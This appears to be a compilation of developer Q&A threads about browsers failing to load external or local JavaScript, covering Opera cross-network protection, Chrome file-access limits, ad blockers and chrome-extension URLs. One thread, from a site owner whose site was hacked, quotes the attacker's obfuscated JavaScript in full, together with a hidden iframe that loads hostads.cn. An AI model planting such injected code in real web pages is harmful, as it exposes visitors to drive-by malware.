Opera: .js file won't load - javascript

I have a page that calls a script in the header, like so:
<script type="text/javascript" src="http://www.discoverfire.net/analytics/l/a.js"></script>
(Note you will NOT be able to load this script as it is DNSd locally as a staging domain)
Very Simple.
Firefox, IE, Chrome all have no problem with this basic, square-one feature.
Opera, however, refuses to load the script. Any variables or functions in it are "undefined" and in dragonfly, the script tag is shown in the DOM, but the "Script" tab says "No script files found."
I go to google and find random pages, their external .js files seem to work just fine.
Any idea why Opera hates me? Is there a security/javascript thing I am missing?
A few things that may be relevant, but really should make no difference:
The script is on a different domain than the page.
The script is only available on my local network. The domain is DNS'd locally for staging, from outside the network it points somewhere else. Does Opera have a setting to secretly use an external DNS server?
The script works on every other browser I have.
The problem isn't in the script content. I've reduced it to a single line with an alert and it simply won't work in Opera.
Update:
OK, the problem seems to be how Opera treats the domain.
I have moved the script to several other domains, and it DOES work just fine. I've moved it to several paths on the locally DNS'd domain, and it won't work from anywhere on that domain.
This leads me to believe that the problem is that Opera can't, or won't, load the script from this domain for some reason.
Strangely, there seems to be no problem loading pages and other resources from the domain, the problem lies in .js files only.
The domain is registered, but parked. We DNS'd it locally so we can use it for staging/testing, and that may be messing with Opera somehow with JS security.
I could be wrong though - I really have no idea. If anyone else has one, I'd love to hear it.
Update 2:
Regarding Dragonfly and the error console/developer tools, they don't say anything about the script at all. There are plenty of Undefined Variable errors for variables and functions that should be present from the script, but other than that, no errors. Oddly, the script tag does show up in the DOMM, but if I click on the Scripts tab, it says "No Scripts Found".
Update 3:
There is no blocked content, so we can at least rule out that setting.

You may want to see if its ad blocker is getting in the way. Your URL contains the text "analytics," which may be part of a "block this" pattern. I know some block Google analytics through Opera. An easy test for this may be to try moving your .js to a different path on the host.

Have you checked Opera's error console? Tools > Advanced > Error Console
It should provide information on why it won't load or if there another error of some kind.

Like Jacob suggested, you should check if it isn't blocked. To do this:
Right-click on your page
Select "Block Content..." in the context menu
At the top of the screen, click the "Details..." button
You should see the URL's that are blocked on the current page

You should ask in the Opera Forums. I had some problems with Opera in the past and they answered quickly.

Is the host serving the correct mime type of the JavaScript file. It's not a commonly known fact but the type=text/javascript attribute is actually ignored by browsers as it trusts that the server is specifying the correct type.
Additionally the mime type of text/javascript is actually wrong when it comes to JavaScript, the actual JavaScript mime type is application/ecmascript (if I recall correctly, it may be application/javascript though). If you don't believe me you should have a look here where I had more information and linked off to the Douglas Crockfords videos where he discussed the mime type.

I had something similar recently - opera would just not run a script on an external server... nor if I downloaded it and had it on localhost. It only ran when copy/pasted between script tags into the html page.
It turned out that the script was encoded with UTF-16 and that was somehow confusing the browser. When I converted it to UTF-8, everything ran fine.
So, just in case and if you still have that problem, check out the encoding settings...

I had the exact same issue, tying to load a script from a localhost/development server into a page, hosted on the public server at no avail. The only way I managed the script to load in Opera was to save a copy of the page into a location on the same development server and use the tag to refer to the original domain to get the page's .css and .js linked files. That worked. Looks like Opera doesn't like to mix public and localhost domains, but handles localhost without complaints.

what you're seeing is probably Opera's security precaution against the so-called "phish pharm" attacks: cross-network protection. You can not mix content from a public server and content from a local server.
Have a look at my answer here for a workaround:
Opera won't load some JavaScript files

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I am using javascript to load some html page in another html page. Its working fine in Mozilla Firefox but not working in Google Chrome and IE10

I wrote code for dropdown Menu and want to insert that code in other html files.
DropDown Menu code.
http://jsfiddle.net/techspartan/49Bpb/
For inserting the above HTML code into other HTML files I am using this code:
<html>
<head>
<script src="jquery-2.0.3.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$('#topdiv').load('index.html');
});
</script>
</head>
<body>
<div id="topdiv">
</div>
</body>
</html>
Basically I want to declare my DropDownMenu code at one location so that if I make changes in menu code than I don't have to edit every HTML file that has the DropDown.
The above code is working in Firefox but nothing is shown in Chrome and IE-10.
Are you working locally on your machine, without any webserver? Chrome does not allow loading files via AJAX from your file system (see bugreport).
You may use XAMPP or something similar to serve your files via a local webserver.
If you are on Windows, XAMPP is probably the easiest way to get your local webserver up and running: http://www.apachefriends.org/en/xampp.html
On Mac, you may also use MAMP http://www.mamp.info/en/index.html
You may also force Chrome to allow local file access on Windows if you are starting it with --allow-file-access-from-files, more information in this stackoverflow question
For what it's worth, I have code that uses jQuery().load() to inject content into a page, and it work just fine.
If this is static content that is meant to be a standard part of your page, then the other answers/comments saying to do it on the server are probably right; stuff like that is generally better to be included on the server, because it will make your site perform a lot better than doing it on page load via Javascript. (in fact, loading a static menu this way is likely to give your site a noticable performance problem when users load the page; be warned!).
However in general the technique of dynamically adding content to a page using Javascript is perfectly valid, and commonly used, so I'll answer the question based on that.
There's nothing that I can see that's specifically wrong with the minimal example you provided, except for a missing Doctype, so I'm going to guess that's probably your issue:
If you don't have a doctype, the browser will render the page in Quirks mode. And jQuery is not designed to work in quirks mode.
Solution: Add the following line to the top of your code and try it again:
<!DOCTYPE html>
You may also want to check that IE isn't showing your page in compatibility mode as well, because that might also cause problems. If it is, you could also add an X-UA-Compatible meta tag to your page's <head> section to force IE into standards mode:
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
Finally, if you need to support IE8 or earlier, you should switch from jQuery v2 back to the latest release of jQuery v1 (currently 1.10.2), as jQuery v2 does not work with IE8 and earlier.
Hope that helps.
The issue you are having is not due to anything wrong with your code, but with security policies of modern browsers. Here's what happens on your development machine:
Your browser loads your local HTML file.
Your browser executes the javascript, which tries to access a file on your machine.
Your browser says, "NO!" Because this is a huge security error - without this policy websites could read through every file on your hard drive or silently send copies of any of your private information to their servers, just because you visited a site with javascript enabled. BAD!
There are some ways to try to tell your browser "No, it's ok, I want to allow this..."...but you know, this has become exceedingly difficult as it often silently breaks with new browser versions. I've slammed my head against the wall way too often, so I might suggest you skip trying to make your browser OK with what you are trying to do.
Now, why does this work on a live site? Here's what happens.
Your browser loads a website.
Your browser executes the javascript.
The script asks for a file to be loaded/accessed from a website.
Your browser says..."well, we're already on this website, so sure! Load all the files you want from that web server!" And your browser kindly gets the file, and returns it to your script, where you can painlessly include the HTML to your hearts content.
To make this work on your development machine, you have ultimately 3 choices:
1) Upload the files to a web server, then do your testing there.
2) Make your own "localhost" web server. You then access your site with something like localhost/index.html - etc. This is just enough to prevent the browser from shutting down your file load requests, because you are requesting an HTTP operation, note a FILE operation.
3) Try to force your browser to allow these requests. Details vary by browser, some browsers won't let you do this at all, and I've given up on doing this myself.
The hidden 4th choice is using HTML5 File System features, but with such poor support for technology I suggest you not even try it - the bug you are facing is purely with your development machine, so changing the technology you are using purely for a minor development convenience seems silly.
Severin provides links to the excellent XAMPP and MAMP software packages, which are the easiest way of getting yourself a good development localhost server.

How to load javascript not present in localhost domain in chrome?

I am running a tomcat server and my localhost base domain is :
C:/apache/webapps/ROOT/
My webpage is also present here.
However the javascripts are present in an external location.
D:/something/something
And i am importing them the following way
<script src="D:/something/something/js1.js"></script>
In IE the page loads fine and able to locate the scripts, however with chrome it fails.
On debugging I see that chrome tries to append the following:
http://localhost:8080/D:/something/something
How do i get it to work on chrome without copying the scripts to base location?
For doing anything useful from within the JS code, you'll most likely have to obey the same origin policy. This means you'll have to configure your Tomcat so that it serves the scripts, too.
If you really insist on reading the scripts from local files, that's what file:// URLs do.
You can't do this because you will search for D:/something/something/js1.js in the user/client computer.
You can do it calling (read and print) the file via PHP (D:/something/something/js1.js.php) or any other server side programming language or installing a webserver in your external location to call the file via URL like myCDN.mydomain.com.
EDIT: If you will only work in localhost, use #Pointy and #Konstantin K solutions :)

Malicious javascript injection (Hostads.cn)

It seems that my website has been hacked, or an exploit was found or something so now everytime I load certain pages the following javascript and iframe get injected:
<script language="JavaScript" type="text/javascript">
B76197C940748B="pars";B76197C940748B+="eIn";B76197C940748B+="t";DCEC79103="St";DCEC79103+="ring.";DCEC79103+="fr";DCEC79103+="omC";DCEC79103+="harCo";DCEC79103+="de";function E0D7700E45C574E(A911795){var B3593798FBC66C=370;B3593798FBC66C=B3593798FBC66C-354;D086A805=eval(B76197C940748B+"(A911795,B3593798FBC66C)");return(D086A805);}function A41D3C153B9E8(E02A0){var D49C4143=940;D49C4143=D49C4143-938;var FB8E017784670AD="";for(E1709AB22C52CD=0;E1709AB22C52CD<E02A0.length;E1709AB22C52CD+=D49C4143){FB8E017784670AD+=( eval(DCEC79103+"(E0D7700E45C574E(E02A0.substr(E1709AB22C52CD,D49C4143)))"));}eval(FB8E017784670AD);}A41D3C153B9E8("69662028646F63756D656E742E636F6F6B69652E73656172636828227574626F3D382229203D3D202D3129207B0A7463707A3D646F63756D656E742E676574456C656D656E7442794964282771757A676327293B6966287463707A3D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71757A6763207372633D687474703A2F2F686F73746164732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20227574626F3D383B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
</script>
<iframe id="quzgc" src="http://hostads.cn" style="display:none"></iframe>
I've updated all my passwords (of my control panel, database, ftp,... everything) and removed the malicious code on all of my pages, php files, javascript files etc... I also fixed the permissions of all my files and folders to 755. (The infected pages were set to 777).
The problem seems resolved in Internet Explorer, Firefox, Opera and Safari. Everything works fine there, and no malicious code is inserted anymore. However, when I surf to my website with Google Chrome, I get the famous "Warning: Malware detected" page telling me google has found content of "hostads.cn", a know malicious website. Then, when I look into the source code I can indeed see that certain piece of javascript and iframe in my code.
I tried debugging my website, going over the code step by step to check where or what might be injecting the code, but I really can't find anything. And all the other browsers don't seem to suffer from it either.
Another oddity: When I "let" my pages get infected: i.e: I ignore the warning from Chrome and continue to the webpage I can indeed see the malicious code in my source. But when I download that certain page with FTP, everything looks perfectly fine...
So why is this malicious code inserted in Google Chrome alone, but not in a persistent way? And more importantly: What can I do against it?
Thanks.
Google works off a blacklist. You need to let Google know via Google Webmasters Tools that you have fixed it. I think you have removed the offending code from the site but you are still on the blacklist.
Site Health
https://support.google.com/webmasters/bin/answer.py?hl=en&answer=1624972
Request a malware review
https://support.google.com/webmasters/bin/answer.py?hl=en&answer=168328&ctx=cb&src=cb&cbid=15vfwobwt144o&cbrank=1

Chrome does not load external JavaScript

This ain't no spam, the actual website I'm working on (sorry, it's in Latvian).
The problem here is that there is a tracking script provided by AdForm, which Chrome does not want to load. Firefox loads it smoothly. Have not checked with other browsers though.
Since the script is external, I cannot think of a way to debug it.
Has anyone experienced such a problem with Chrome and how do I fix this?
The script is right before the closing <head> tag.
Update
As Blender has suggested, I've tried removing the async parameter before, but to no avail.
You most likely have the AdBlock extension (or some similar one) installed. If I disable AdBlock the script loads just fine in Google Chrome. With it activated, the script gets blocked.
Update
The AdBlock extension (both the Google Chrome and Firefox versions) uses EasyList, which is a list of adserver domains. Any files loaded from these domains are getting blocked by the extension, and adform.net, the domain your external JS file resides on is on the list (do a CTRL+F for it).

What is "chrome-extension://"

I found the some strange <script/> tags on a site:
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/document_iterator.js"></script>
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/find_proxy.js"></script>
...
I haven't been able to find much information on this, but I highly doubt this is actually related to Google Chrome since this site in particular is still using <table>s for layout, and the source in question was retrieved with curl not a graphical web browser.
So,
What on earth is this?
What is chrome-extension://
Why is it using lifbcibllhkdhoafpjfnlhfpfgnpldfl as a directory name
Why is it pretending to be valid URL to a javascript file?
Why would I need find_proxy or document_iterator
Solved. As far as I know...
chrixian was right, It seems that only on this and a few select other pages, someone had re-saved them from Chrome's source-view with the Skype extension installed.
Thanks everyone for all your help, +1's for all! enjoy!
That is actually Skype Click to Call chrome extension.
Manage and view it using this link
chrome://extensions/?id=lifbcibllhkdhoafpjfnlhfpfgnpldfl
If you are using cURL to get the page, you're getting the HTML as it exists on the server--so I think a safe assumption would be: the author of the page initially saved the page from Chrome, he had an extension installed that inserted these script tages and lastly he didn't remove the script tags for one reason or another before putting the page on the server.
This is added by chrome as the page loads, to inject the extension's Javascript code into the page, so it can access the HTML document.
The Skype extension causes it by inserting all kinds of junk in webpages that you visit.
Do you have the Skype browser extension installed for Chrome?
Just disable the extension.
Chrome, like Firefox, provides developers with an easy API to extend the functionality of the web browser without needing to actually download and build the browser to do so.
They also provide a robust delivery system. In Google's case, it's the Google Chrome Web Store.
Extensions are installed locally on your computer, and use long strings as directory names to reduce the risk of collisions with another extension. In other words, if you and I both named our extensions "mycoolextension", then there would be a problem if a person tried to install your extension and my extension. The long string helps prevent collisions such as this.
The chrome-extension:// protocol is used by the browser to make requests to these local resources. Chrome extensions are developed using HTML5, JavaScript, and CSS, along with an API exposed to allow the local JavaScript to perform actions it would not normally be able to do on the Internet.
When you see these in the Chrome developer tools, it's just the extension doing it's thing, whatever that may be.
If you're seeing these, then you likely installed some extensions from the Chrome Web Store. To view them, go to the Tools menu and select "Extensions". This will show you a list of all installed Chrome extensions and apps.
To learn more about extension development, see the Getting Started Tutorial.
Also, as someone else mentioned, you're using the Skype Call Extension. However, an app using that directory name doesn't appear in the first page of the search results. It might be worth doing some more research to make sure you got that extension from a legitimate source, whether that be Skype or the Chrome Web Store.
If you're seeing it in Chrome developer tools for every request you make, it means it has access to all your websites, which could be benign, like if they're just making phone numbers clickable, or it could be malicious, if it's scraping your bank account info and shipping it off to some third party server. :)
It's a Chrome extension, and chrome-extension:// is a URL for extensions to address their contents via Javascript.
lifbcibllhkdhoafpjfnlhfpfgnpldfl is the unique identifier for the extension. I can't find it with a search, but apparently it might be Skype.
It's not pretending... it is a valid URL. The Javascript file is located in the extension. If you were to look on your harddrive you'd probably find that very file in the extensions folder.
The functions its calling probably are some sort of detection used by the extension to see if it needs to enable itself.
See this for some additional information:
Checking if user has a certain extension installed

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